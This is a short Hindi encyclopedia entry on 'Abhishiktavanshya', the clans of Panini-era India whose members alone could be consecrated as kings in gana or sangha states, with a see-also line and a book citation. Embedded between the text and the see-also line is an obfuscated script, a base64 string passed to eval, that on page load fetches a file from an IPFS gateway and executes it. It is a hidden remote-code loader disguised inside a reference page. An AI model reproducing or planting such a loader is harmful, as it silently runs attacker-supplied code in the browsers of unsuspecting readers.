अभिषिक्तवंश्य

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अभिषिक्तवंश्य पाणिनिकालीन भारत में राजसत्ता के अधिकारी लोगों को कहा जाता था, क्योंकि केवल इन्हीं कुलों में उत्पन्न किसी व्यक्ति को ‘राजा’ पद पर अभीषिक्त होने का अधिकार प्राप्त था।

  • विशेषत: गण या संघ राज्य प्रणाली में ‘अभीषिक्तिवंश्य’ कुलों का महत्व अधिक था। संघ की मंगल पुष्करिणी से अभिषेक के लिए जल लेने के वही अधिकारी थे। प्रत्येक गण में ऐसे कुलों की संख्या नियत होती थी।[1]


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास


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टीका टिप्पणी और संदर्भ

  1. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 104 |

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